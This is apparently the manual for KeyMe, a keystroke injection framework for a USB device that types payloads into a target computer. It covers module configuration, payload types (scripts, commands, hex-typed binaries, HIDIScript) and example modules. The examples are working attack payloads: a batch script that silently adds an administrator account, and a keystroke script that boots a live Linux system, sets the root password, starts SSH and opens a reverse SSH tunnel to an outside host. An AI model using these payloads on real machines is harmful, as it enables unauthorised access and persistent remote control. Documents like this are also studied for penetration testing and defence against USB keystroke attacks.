KeyMe: Keystroke Injection Framework
 All Files Pages
Module Overview



KeyMe relies on user defined modules to perform actions.

The modules should be located in the keymods directory in the root of the Micro SD card. Each module is self contained in its own directory. The directories are named in the format mod##. The mapping to a selection by the DIP is based on the directory number, which range from 2 - 31. For example, Module 7 is contained in the /keymods/mod07 directory on the Micro SD card.

Each Module contains three files:

FILE FILENAME DESCRIPTION
Configuration Fileconfig.txt Specifies environment variables.
Payload File[FILE]The payload to run on the target system.
Help Filehelp.txt Description of the Module. (This file is optional.)



Configuration File

The Configuration file greatly simplifies the process of creating a module. There are many actions that are common across different types of modules.

For example, many payloads will need to be run in a terminal. Using the configuration file, users can specify the Operating System and type of payload. By specifying the target OS is Windows 7 and the payload is a Batch script, the KeyMe firmware will take care of opening a text editor, typing out the content of the payload script, saving the file, and running the script in the terminal. All the user needs to do is set two variable in the config.txt file of the Module.

The following table lists all the Options for configuration. Some are required and other are optional. You can also use Module Generator

OPTION VALUE DESCRIPTION
# Comment line
os Operating system of target
linux Linux
winxp Windows XP
win7 Windows 7
osx8 OSX
type The type of payload
python Python script
ruby Ruby script
bash Bash script
cmd Single line command
batch Batch script
ps PowerShell script
hids HIDIScript script
exec Executable
vb VBScript
payload Name of file on SD card to use as the payload
[PAYLOAD_FILE]Filename
priv Privilege level (Optional)
user Regular user access (Default)
admin Administrative access (for Windows 7)
wait Launch payload after X milliseconds(Optional)
[######]Time in milliseconds
dir Directory path on host system (Optional)
[DIRECTORY]Directory path on host system. Up to 255 characters.
next Next module to execute (Optional)
[##]Module number [2 - 31]



Configuration Format

- Set Option with the format OPTION:VALUE.
- There is no space in between the Option and Value.
- Only one option per line
- Comment lines start with #

The following example will run a batch script (dostuff.bat) on the target Windows 7 system 6 seconds after plugged in.

os:win7
type:batch
payload:dostuff.bat
wait:6000



Payload File

The KeyMe firmware is capable of handling multiple kinds of payloads. There are four types of payloads.

Command

A single line command is run in the terminal of the host OS. This single line can contain multiple commands using '&' in Windows and ';' in Linux/OSX.

Script

Depending on the Operating System, KeyMe will execute Batch, Bash, Python, Ruby, VBScript, or PowerShell. In order to run, support for these languages must already exist on the target system.

Binary

Binaries are converted to HEX and typed in to host, then converted back into binary format. After the binary is copied to the intended host, it is executed, then deleted.

HIDIScript

HIDIScript is a scripting language which allows users to perform full keyboard emulation. Read more about the language and generating payloads at HIDIScript.

Note:
The Glitch reads from the Micro SD card as a FAT16 volume. This comes with some restrictions. One restriction is the [8].[3] file format. This means that the filename must be 8 or less characters and the extension must be 3 or less character. Directories must also be 8 or less characters long.



Help File

The Module can contain a help.txt file. This file should contain useful information about the module. If DIP selection 1 is set, these file are typed out onto the target system. This can be handy to quickly check which module to use. Simple open up a text editor and plug in The Glitch on DIP 1.



Examples Modules



The following are some examples of KeyMe modules.

Add Windows User

Here is a simple example of adding a new user to a Windows system using a batch script. These files would be contained in the keymods/mod## directory.

config.txt

# Run payload.bat on Windows 7
os:win7
type:batch
payload:payload.bat
priv:admin
wait:8000

payload.bat

@Echo Off
net user Chris pAsSW0rd /ADD
net localgroup Administrators Chris /add
exit

help.txt

Adds the user Chris as an Administrator in Windows 7.



Create Reverse SSH

Boot into a Backtrack Linux from a Live CD and create a reverse SSH connection once the system has been restarted.

config.txt

os:linux
type:hids
payload:revssh.txt
wait:8000

revssh.txt

[WAIT_8000]
[KEY_ENTER]
[WAIT_40000]
dhclient eth0
[KEY_ENTER]
[WAIT_4000]
passwd
[KEY_ENTER]
[WAIT_3000]
toor
[KEY_ENTER]
[WAIT_3000]
toor
[KEY_ENTER]
[WAIT_3000]
sshd-generate
[KEY_ENTER]
[WAIT_4000]
service ssh start
[KEY_ENTER]
[WAIT_5000]
ssh -R 1337:localhost:22 user@1.2.3.4
[KEY_ENTER]
[WAIT_2000]
yes
[KEY_ENTER]
[WAIT_8000]
S3curePass!
[KEY_ENTER]

help.txt

Boot into Live Backtrack Linux and create a reverse SSH connection to IP 1.2.3.4.